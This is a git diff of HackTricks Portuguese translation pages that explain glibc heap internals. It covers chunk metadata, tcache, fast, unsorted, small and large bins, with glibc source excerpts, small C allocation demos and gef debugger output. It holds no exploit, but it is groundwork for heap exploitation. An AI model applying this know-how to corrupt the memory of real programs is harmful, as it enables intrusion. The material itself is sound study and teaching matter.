<figure><img src="../../.gitbook/assets/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Note como vincular a lista dessa forma evita a necessidade de ter um array onde cada chunk é registrado.
|
Note como vincular a lista dessa forma evita a necessidade de ter um array onde cada chunk individual está sendo registrado.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Ponteiros de Chunk
|
### Ponteiros de Chunk
|
||||||
|
@ -258,7 +258,7 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) &
|
||||||
return request2size (req);
|
return request2size (req);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Note que, para calcular o espaço total necessário, `SIZE_SZ` é adicionado apenas 1 vez porque o campo `prev_size` pode ser usado para armazenar dados, portanto, apenas o cabeçalho inicial é necessário.
|
Note que para calcular o espaço total necessário, `SIZE_SZ` é adicionado apenas 1 vez porque o campo `prev_size` pode ser usado para armazenar dados, portanto, apenas o cabeçalho inicial é necessário.
|
||||||
|
|
||||||
### Obter dados do Chunk e alterar metadados
|
### Obter dados do Chunk e alterar metadados
|
||||||
|
|
||||||
|
@ -351,7 +351,7 @@ people extending or adapting this malloc.
|
||||||
#define clear_inuse_bit_at_offset(p, s) \
|
#define clear_inuse_bit_at_offset(p, s) \
|
||||||
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
|
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
|
||||||
```
|
```
|
||||||
* Defina o cabeçalho e o rodapé (quando os números de chunk estão em uso)
|
* Defina cabeçalho e rodapé (quando os números de chunk estão em uso)
|
||||||
```c
|
```c
|
||||||
/* Set size at head, without disturbing its use bit */
|
/* Set size at head, without disturbing its use bit */
|
||||||
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
|
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
|
||||||
|
@ -490,7 +490,7 @@ Verifique quais são os bins e como estão organizados e como a memória é aloc
|
||||||
|
|
||||||
## Verificações de Segurança das Funções do Heap
|
## Verificações de Segurança das Funções do Heap
|
||||||
|
|
||||||
Funções envolvidas no heap realizarão certas verificações antes de executar suas ações para tentar garantir que o heap não foi corrompido:
|
As funções envolvidas no heap realizarão certas verificações antes de executar suas ações para tentar garantir que o heap não foi corrompido:
|
||||||
|
|
||||||
{% content-ref url="heap-memory-functions/heap-functions-security-checks.md" %}
|
{% content-ref url="heap-memory-functions/heap-functions-security-checks.md" %}
|
||||||
[heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md)
|
[heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md)
|
||||||
|
|
|
@ -1,40 +1,40 @@
|
||||||
# Bins & Alocações de Memória
|
# Bins & Memory Allocations
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Informações Básicas
|
## Basic Information
|
||||||
|
|
||||||
Para melhorar a eficiência de como os pedaços são armazenados, cada pedaço não está apenas em uma lista encadeada, mas existem vários tipos. Estes são os bins e existem 5 tipos de bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) small bins, 63 large bins, 1 unsorted bin, 10 fast bins e 64 tcache bins por thread.
|
Para melhorar a eficiência de como os chunks são armazenados, cada chunk não está apenas em uma lista encadeada, mas existem vários tipos. Estes são os bins e há 5 tipos de bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) bins pequenos, 63 bins grandes, 1 bin não ordenado, 10 bins rápidos e 64 bins tcache por thread.
|
||||||
|
|
||||||
O endereço inicial para cada bin desordenado, pequeno e grande está dentro do mesmo array. O índice 0 não é usado, 1 é o bin desordenado, os bins 2-64 são os bins pequenos e os bins 65-127 são os bins grandes.
|
O endereço inicial para cada bin não ordenado, pequeno e grande está dentro do mesmo array. O índice 0 não é usado, 1 é o bin não ordenado, bins 2-64 são bins pequenos e bins 65-127 são bins grandes.
|
||||||
|
|
||||||
### Bins Tcache (Cache por Thread)
|
### Tcache (Per-Thread Cache) Bins
|
||||||
|
|
||||||
Mesmo que as threads tentem ter seu próprio heap (veja [Arenas](bins-and-memory-allocations.md#arenas) e [Subheaps](bins-and-memory-allocations.md#subheaps)), há a possibilidade de que um processo com muitas threads (como um servidor web) **acabe compartilhando o heap com outras threads**. Nesse caso, a solução principal é o uso de **lockers**, que podem **desacelerar significativamente as threads**.
|
Embora as threads tentem ter seu próprio heap (veja [Arenas](bins-and-memory-allocations.md#arenas) e [Subheaps](bins-and-memory-allocations.md#subheaps)), existe a possibilidade de que um processo com muitas threads (como um servidor web) **acabe compartilhando o heap com outras threads**. Nesse caso, a principal solução é o uso de **lockers**, que podem **reduzir significativamente a velocidade das threads**.
|
||||||
|
|
||||||
Portanto, um tcache é semelhante a um bin rápido por thread no sentido de que é uma **lista encadeada simples** que não mescla pedaços. Cada thread tem **64 bins tcache encadeados simples**. Cada bin pode ter um máximo de [7 pedaços do mesmo tamanho](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) variando de [24 a 1032B em sistemas de 64 bits e 12 a 516B em sistemas de 32 bits](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315).
|
Portanto, um tcache é semelhante a um bin rápido por thread na forma como é uma **lista encadeada simples** que não mescla chunks. Cada thread tem **64 bins tcache encadeados**. Cada bin pode ter um máximo de [7 chunks do mesmo tamanho](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) variando de [24 a 1032B em sistemas de 64 bits e 12 a 516B em sistemas de 32 bits](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315).
|
||||||
|
|
||||||
Quando um thread libera um pedaço, se não for muito grande para ser alocado no tcache e o bin tcache respectivo **não estiver cheio** (já com 7 pedaços), ele será alocado lá. Se não puder ir para o tcache, precisará esperar pelo bloqueio do heap para poder realizar a operação de liberação globalmente.
|
**Quando uma thread libera** um chunk, **se não for muito grande** para ser alocado no tcache e o respectivo bin tcache **não estiver cheio** (já 7 chunks), **ele será alocado lá**. Se não puder ir para o tcache, precisará esperar pelo bloqueio do heap para poder realizar a operação de liberação globalmente.
|
||||||
|
|
||||||
Quando um **pedaço é alocado**, se houver um pedaço livre do tamanho necessário no **Tcache, ele o usará**, caso contrário, precisará esperar pelo bloqueio do heap para poder encontrar um nos bins globais ou criar um novo.\
|
Quando um **chunk é alocado**, se houver um chunk livre do tamanho necessário no **Tcache, ele o usará**, se não, precisará esperar pelo bloqueio do heap para poder encontrar um nos bins globais ou criar um novo.\
|
||||||
Há também uma otimização, nesse caso, enquanto tiver o bloqueio do heap, o thread **preencherá seu Tcache com pedaços do heap (7) do tamanho solicitado**, para que, caso precise de mais, os encontre no Tcache.
|
Há também uma otimização, nesse caso, enquanto tiver o bloqueio do heap, a thread **preencherá seu Tcache com chunks do heap (7) do tamanho solicitado**, para que, caso precise de mais, os encontre no Tcache.
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Adicionar um exemplo de pedaço tcache</summary>
|
<summary>Add a tcache chunk example</summary>
|
||||||
```c
|
```c
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -49,7 +49,7 @@ free(chunk);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Compile-o e depure-o com um breakpoint no opcode ret da função main. então com o gef você pode ver o tcache bin em uso:
|
Compile-o e depure-o com um ponto de interrupção no opcode ret da função main. então, com gef, você pode ver o bin tcache em uso:
|
||||||
```bash
|
```bash
|
||||||
gef➤ heap bins
|
gef➤ heap bins
|
||||||
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
|
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
|
||||||
|
@ -57,9 +57,9 @@ Tcachebins[idx=0, size=0x20, count=1] ← Chunk(addr=0xaaaaaaac12a0, size=0x20,
|
||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
#### Estruturas e Funções do Tcache
|
#### Estruturas e Funções Tcache
|
||||||
|
|
||||||
No código a seguir, é possível ver o **número máximo de bins** e **chunks por índice**, a struct **`tcache_entry`** criada para evitar frees duplos e **`tcache_perthread_struct`**, uma struct que cada thread usa para armazenar os endereços de cada índice do bin.
|
No código a seguir, é possível ver os **max bins** e **chunks por índice**, a estrutura **`tcache_entry`** criada para evitar double frees e **`tcache_perthread_struct`**, uma estrutura que cada thread usa para armazenar os endereços de cada índice do bin.
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -116,6 +116,10 @@ tcache_entry *entries[TCACHE_MAX_BINS];
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
A função `__tcache_init` é a função que cria e aloca o espaço para o objeto `tcache_perthread_struct`
|
A função `__tcache_init` é a função que cria e aloca o espaço para o objeto `tcache_perthread_struct`
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>código tcache_init</summary>
|
||||||
```c
|
```c
|
||||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3241C1-L3274C2
|
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3241C1-L3274C2
|
||||||
|
|
||||||
|
@ -158,23 +162,23 @@ memset (tcache, 0, sizeof (tcache_perthread_struct));
|
||||||
|
|
||||||
#### Índices Tcache
|
#### Índices Tcache
|
||||||
|
|
||||||
O tcache possui vários bins dependendo do tamanho e os ponteiros iniciais para o **primeiro chunk de cada índice e a quantidade de chunks por índice estão localizados dentro de um chunk**. Isso significa que ao localizar o chunk com essas informações (geralmente o primeiro), é possível encontrar todos os pontos iniciais do tcache e a quantidade de chunks do Tcache.
|
O tcache possui vários bins dependendo do tamanho e os ponteiros iniciais para o **primeiro chunk de cada índice e a quantidade de chunks por índice estão localizados dentro de um chunk**. Isso significa que, ao localizar o chunk com essa informação (geralmente o primeiro), é possível encontrar todos os pontos iniciais do tcache e a quantidade de chunks do Tcache.
|
||||||
|
|
||||||
### Bins Rápidos
|
### Bins Rápidos
|
||||||
|
|
||||||
Os bins rápidos são projetados para **acelerar a alocação de memória para pequenos chunks** mantendo chunks recentemente liberados em uma estrutura de acesso rápido. Esses bins usam uma abordagem Last-In, First-Out (LIFO), o que significa que o **chunk mais recentemente liberado é o primeiro** a ser reutilizado quando há uma nova solicitação de alocação. Esse comportamento é vantajoso para a velocidade, pois é mais rápido inserir e remover do topo de uma pilha (LIFO) em comparação com uma fila (FIFO).
|
Os bins rápidos são projetados para **acelerar a alocação de memória para pequenos chunks** mantendo chunks recentemente liberados em uma estrutura de acesso rápido. Esses bins usam uma abordagem Last-In, First-Out (LIFO), o que significa que o **chunk mais recentemente liberado é o primeiro** a ser reutilizado quando há um novo pedido de alocação. Esse comportamento é vantajoso para a velocidade, pois é mais rápido inserir e remover do topo de uma pilha (LIFO) em comparação com uma fila (FIFO).
|
||||||
|
|
||||||
Além disso, **os bins rápidos usam listas encadeadas simples**, não duplamente encadeadas, o que melhora ainda mais a velocidade. Como os chunks nos bins rápidos não são mesclados com vizinhos, não há necessidade de uma estrutura complexa que permita a remoção do meio. Uma lista encadeada simples é mais simples e rápida para essas operações.
|
Além disso, **bins rápidos usam listas encadeadas simples**, não duplamente encadeadas, o que melhora ainda mais a velocidade. Como os chunks em bins rápidos não são mesclados com vizinhos, não há necessidade de uma estrutura complexa que permita a remoção do meio. Uma lista encadeada simples é mais simples e rápida para essas operações.
|
||||||
|
|
||||||
Basicamente, o que acontece aqui é que o cabeçalho (o ponteiro para o primeiro chunk a ser verificado) está sempre apontando para o chunk liberado mais recentemente desse tamanho. Então:
|
Basicamente, o que acontece aqui é que o cabeçalho (o ponteiro para o primeiro chunk a ser verificado) está sempre apontando para o último chunk liberado daquele tamanho. Então:
|
||||||
|
|
||||||
* Quando um novo chunk é alocado desse tamanho, o cabeçalho está apontando para um chunk livre para usar. Como esse chunk livre está apontando para o próximo a ser usado, esse endereço é armazenado no cabeçalho para que a próxima alocação saiba onde obter um chunk disponível.
|
* Quando um novo chunk é alocado desse tamanho, o cabeçalho está apontando para um chunk livre para usar. Como esse chunk livre está apontando para o próximo a ser usado, esse endereço é armazenado no cabeçalho para que a próxima alocação saiba onde obter um chunk disponível.
|
||||||
* Quando um chunk é liberado, o chunk livre salvará o endereço para o chunk disponível atual e o endereço para esse novo chunk liberado será colocado no cabeçalho.
|
* Quando um chunk é liberado, o chunk livre salvará o endereço do chunk atualmente disponível e o endereço desse chunk recém-liberado será colocado no cabeçalho.
|
||||||
|
|
||||||
O tamanho máximo de uma lista encadeada é `0x80` e elas são organizadas de modo que um chunk de tamanho `0x20` estará no índice `0`, um chunk de tamanho `0x30` estará no índice `1`...
|
O tamanho máximo de uma lista encadeada é `0x80` e elas são organizadas de modo que um chunk de tamanho `0x20` estará no índice `0`, um chunk de tamanho `0x30` estaria no índice `1`...
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Chunks nos bins rápidos não são definidos como disponíveis, então eles são mantidos como chunks de bin rápido por algum tempo em vez de poderem ser mesclados com outros chunks livres ao redor deles.
|
Chunks em bins rápidos não são definidos como disponíveis, portanto, são mantidos como chunks de bin rápido por algum tempo em vez de poderem ser mesclados com outros chunks livres ao seu redor.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
```c
|
```c
|
||||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
|
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
|
||||||
|
@ -239,9 +243,9 @@ free(chunks[i]);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Observe como alocamos e liberamos 8 pedaços do mesmo tamanho para que preencham o tcache e o oitavo seja armazenado no fast chunk.
|
Note como alocamos e liberamos 8 chunks do mesmo tamanho para que eles preencham o tcache e o oitavo é armazenado no fast chunk.
|
||||||
|
|
||||||
Compile e depure com um breakpoint no opcode `ret` da função `main`. Em seguida, com o `gef`, você pode ver que o bin tcache está cheio e um pedaço está no fast bin:
|
Compile-o e depure-o com um breakpoint no opcode `ret` da função `main`. Então, com `gef`, você pode ver que o bin do tcache está cheio e um chunk está no fast bin:
|
||||||
```bash
|
```bash
|
||||||
gef➤ heap bins
|
gef➤ heap bins
|
||||||
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
|
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
|
||||||
|
@ -252,18 +256,18 @@ Fastbins[idx=1, size=0x30] 0x00
|
||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
### Bin não ordenado
|
### Unsorted bin
|
||||||
|
|
||||||
O bin não ordenado é um **cache** usado pelo gerenciador de heap para tornar a alocação de memória mais rápida. Veja como funciona: Quando um programa libera um pedaço de memória e se esse pedaço não pode ser alocado em um tcache ou fast bin e não está colidindo com o chunk superior, o gerenciador de heap não o coloca imediatamente em um bin específico pequeno ou grande. Em vez disso, ele primeiro tenta **fundir com quaisquer chunks livres vizinhos** para criar um bloco maior de memória livre. Em seguida, ele coloca esse novo chunk em um bin geral chamado "bin não ordenado".
|
O unsorted bin é um **cache** usado pelo gerenciador de heap para tornar a alocação de memória mais rápida. Veja como funciona: Quando um programa libera um chunk, e se esse chunk não pode ser alocado em um tcache ou fast bin e não está colidindo com o top chunk, o gerenciador de heap não o coloca imediatamente em um bin pequeno ou grande específico. Em vez disso, ele primeiro tenta **mesclar com quaisquer chunks livres vizinhos** para criar um bloco maior de memória livre. Em seguida, coloca esse novo chunk em um bin geral chamado "unsorted bin."
|
||||||
|
|
||||||
Quando um programa **solicita memória**, o gerenciador de heap **verifica o bin não ordenado** para ver se há um chunk de tamanho suficiente. Se encontrar, ele o utiliza imediatamente. Se não encontrar um chunk adequado no bin não ordenado, ele move todos os chunks nesta lista para seus bins correspondentes, seja pequeno ou grande, com base em seu tamanho.
|
Quando um programa **pede memória**, o gerenciador de heap **verifica o unsorted bin** para ver se há um chunk de tamanho suficiente. Se encontrar um, ele o utiliza imediatamente. Se não encontrar um chunk adequado no unsorted bin, ele move todos os chunks dessa lista para seus bins correspondentes, seja pequeno ou grande, com base em seu tamanho.
|
||||||
|
|
||||||
Observe que se um chunk maior for dividido em 2 metades e o restante for maior que MINSIZE, ele será colocado de volta no bin não ordenado.
|
Note que se um chunk maior for dividido em 2 metades e o restante for maior que MINSIZE, ele será colocado de volta no unsorted bin.
|
||||||
|
|
||||||
Portanto, o bin não ordenado é uma maneira de acelerar a alocação de memória reutilizando rapidamente a memória liberada recentemente e reduzindo a necessidade de pesquisas e fusões demoradas.
|
Assim, o unsorted bin é uma maneira de acelerar a alocação de memória reutilizando rapidamente a memória recentemente liberada e reduzindo a necessidade de buscas e mesclagens demoradas.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Observe que mesmo que os chunks sejam de categorias diferentes, se um chunk disponível estiver colidindo com outro chunk disponível (mesmo que originalmente pertençam a bins diferentes), eles serão fundidos.
|
Note que mesmo que os chunks sejam de categorias diferentes, se um chunk disponível estiver colidindo com outro chunk disponível (mesmo que originalmente pertençam a bins diferentes), eles serão mesclados.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
@ -296,9 +300,9 @@ free(chunks[i]);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Observe como alocamos e liberamos 9 pedaços do mesmo tamanho para que **preencham o tcache** e o oitavo seja armazenado no unsorted bin porque é **muito grande para o fastbin** e o nono não é liberado, então o nono e o oitavo **não são mesclados com o top chunk**.
|
Note como alocamos e liberamos 9 chunks do mesmo tamanho para que eles **preencham o tcache** e o oitavo é armazenado no bin não ordenado porque é **grande demais para o fastbin** e o nono não é liberado, então o nono e o oitavo **não são mesclados com o chunk superior**.
|
||||||
|
|
||||||
Compile e depure com um breakpoint no opcode `ret` da função `main`. Em seguida, com o `gef`, você pode ver que o bin tcache está cheio e um pedaço está no unsorted bin:
|
Compile-o e depure-o com um breakpoint no opcode `ret` da função `main`. Então, com `gef`, você pode ver que o bin do tcache está cheio e um chunk está no bin não ordenado:
|
||||||
```bash
|
```bash
|
||||||
gef➤ heap bins
|
gef➤ heap bins
|
||||||
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
|
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
|
||||||
|
@ -318,16 +322,16 @@ Fastbins[idx=6, size=0x80] 0x00
|
||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
### Bins Pequenos
|
### Small Bins
|
||||||
|
|
||||||
Os bins pequenos são mais rápidos do que os bins grandes, mas mais lentos do que os bins rápidos.
|
Small bins são mais rápidos que large bins, mas mais lentos que fast bins.
|
||||||
|
|
||||||
Cada bin dos 62 terá **pedaços do mesmo tamanho**: 16, 24, ... (com um tamanho máximo de 504 bytes em 32 bits e 1024 em 64 bits). Isso ajuda na velocidade de encontrar o bin onde um espaço deve ser alocado e na inserção e remoção de entradas nessas listas.
|
Cada bin dos 62 terá **chunks do mesmo tamanho**: 16, 24, ... (com um tamanho máximo de 504 bytes em 32 bits e 1024 em 64 bits). Isso ajuda na velocidade de encontrar o bin onde um espaço deve ser alocado e na inserção e remoção de entradas nessas listas.
|
||||||
|
|
||||||
Assim é calculado o tamanho do bin pequeno de acordo com o índice do bin:
|
Assim é como o tamanho do small bin é calculado de acordo com o índice do bin:
|
||||||
|
|
||||||
* Menor tamanho: 2\*4\*índice (por exemplo, índice 5 -> 40)
|
* Tamanho menor: 2\*4\*índice (por exemplo, índice 5 -> 40)
|
||||||
* Maior tamanho: 2\*8\*índice (por exemplo, índice 5 -> 80)
|
* Tamanho maior: 2\*8\*índice (por exemplo, índice 5 -> 80)
|
||||||
```c
|
```c
|
||||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
|
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
|
||||||
#define NSMALLBINS 64
|
#define NSMALLBINS 64
|
||||||
|
@ -349,7 +353,7 @@ Função para escolher entre bins pequenos e grandes:
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Adicionar um exemplo de pequeno chunk</summary>
|
<summary>Adicionar um pequeno exemplo de chunk</summary>
|
||||||
```c
|
```c
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -379,9 +383,9 @@ chunks[9] = malloc(0x110);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Observe como alocamos e liberamos 9 pedaços do mesmo tamanho para que **preencham o tcache** e o oitavo seja armazenado no unsorted bin porque é **muito grande para o fastbin** e o nono não é liberado, então o nono e o oitavo **não são mesclados com o top chunk**. Em seguida, alocamos um pedaço maior de 0x110, o que faz com que **o pedaço no unsorted bin vá para o small bin**.
|
Note como alocamos e liberamos 9 chunks do mesmo tamanho para que eles **preencham o tcache** e o oitavo é armazenado no bin não ordenado porque é **grande demais para o fastbin** e o nono não é liberado, então o nono e o oitavo **não são mesclados com o chunk superior**. Em seguida, alocamos um chunk maior de 0x110, o que faz **o chunk no bin não ordenado ir para o small bin**.
|
||||||
|
|
||||||
Compile e depure com um breakpoint no opcode `ret` da função `main`. Em seguida, com o `gef`, você pode ver que o bin tcache está cheio e um pedaço está no small bin:
|
Compile e depure com um breakpoint no opcode `ret` da função `main`. Então, com `gef`, você pode ver que o bin do tcache está cheio e um chunk está no small bin:
|
||||||
```bash
|
```bash
|
||||||
gef➤ heap bins
|
gef➤ heap bins
|
||||||
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
|
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
|
||||||
|
@ -403,26 +407,26 @@ Fastbins[idx=6, size=0x80] 0x00
|
||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
### Bins grandes
|
### Grandes bins
|
||||||
|
|
||||||
Ao contrário dos bins pequenos, que gerenciam pedaços de tamanhos fixos, cada **bin grande lida com uma faixa de tamanhos de pedaços**. Isso é mais flexível, permitindo que o sistema acomode **vários tamanhos** sem precisar de um bin separado para cada tamanho.
|
Ao contrário dos pequenos bins, que gerenciam pedaços de tamanhos fixos, cada **grande bin lida com uma faixa de tamanhos de pedaços**. Isso é mais flexível, permitindo que o sistema acomode **vários tamanhos** sem precisar de um bin separado para cada tamanho.
|
||||||
|
|
||||||
Em um alocador de memória, os bins grandes começam onde os bins pequenos terminam. As faixas para os bins grandes crescem progressivamente, o que significa que o primeiro bin pode abranger pedaços de 512 a 576 bytes, enquanto o próximo abrange de 576 a 640 bytes. Esse padrão continua, com o bin maior contendo todos os pedaços acima de 1MB.
|
Em um alocador de memória, os grandes bins começam onde os pequenos bins terminam. As faixas para grandes bins crescem progressivamente, o que significa que o primeiro bin pode cobrir pedaços de 512 a 576 bytes, enquanto o próximo cobre de 576 a 640 bytes. Esse padrão continua, com o maior bin contendo todos os pedaços acima de 1MB.
|
||||||
|
|
||||||
Os bins grandes são mais lentos de operar em comparação com os bins pequenos porque eles precisam **ordenar e pesquisar em uma lista de tamanhos de pedaços variados para encontrar o melhor encaixe** para uma alocação. Quando um pedaço é inserido em um bin grande, ele precisa ser ordenado, e quando a memória é alocada, o sistema deve encontrar o pedaço certo. Esse trabalho extra os torna **mais lentos**, mas como alocações grandes são menos comuns do que as pequenas, é uma troca aceitável.
|
Os grandes bins são mais lentos para operar em comparação com os pequenos bins porque eles devem **classificar e pesquisar em uma lista de tamanhos de pedaços variados para encontrar o melhor ajuste** para uma alocação. Quando um pedaço é inserido em um grande bin, ele precisa ser classificado, e quando a memória é alocada, o sistema deve encontrar o pedaço certo. Esse trabalho extra os torna **mais lentos**, mas como as alocações grandes são menos comuns do que as pequenas, é uma troca aceitável.
|
||||||
|
|
||||||
Existem:
|
Existem:
|
||||||
|
|
||||||
* 32 bins de 64B de faixa (colidem com os bins pequenos)
|
* 32 bins de faixa de 64B (colidem com pequenos bins)
|
||||||
* 16 bins de 512B de faixa (colidem com os bins pequenos)
|
* 16 bins de faixa de 512B (colidem com pequenos bins)
|
||||||
* 8 bins de 4096B de faixa (parte colide com os bins pequenos)
|
* 8 bins de faixa de 4096B (parte colide com pequenos bins)
|
||||||
* 4 bins de 32768B de faixa
|
* 4 bins de faixa de 32768B
|
||||||
* 2 bins de 262144B de faixa
|
* 2 bins de faixa de 262144B
|
||||||
* 1 bin para tamanhos restantes
|
* 1 bin para tamanhos restantes
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Código dos tamanhos dos bins grandes</summary>
|
<summary>Código de tamanhos de grandes bins</summary>
|
||||||
```c
|
```c
|
||||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
|
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
|
||||||
|
|
||||||
|
@ -462,7 +466,7 @@ Existem:
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Adicione um exemplo de grande bloco</summary>
|
<summary>Adicionar um exemplo de grande bloco</summary>
|
||||||
```c
|
```c
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include <stdio.h>
|
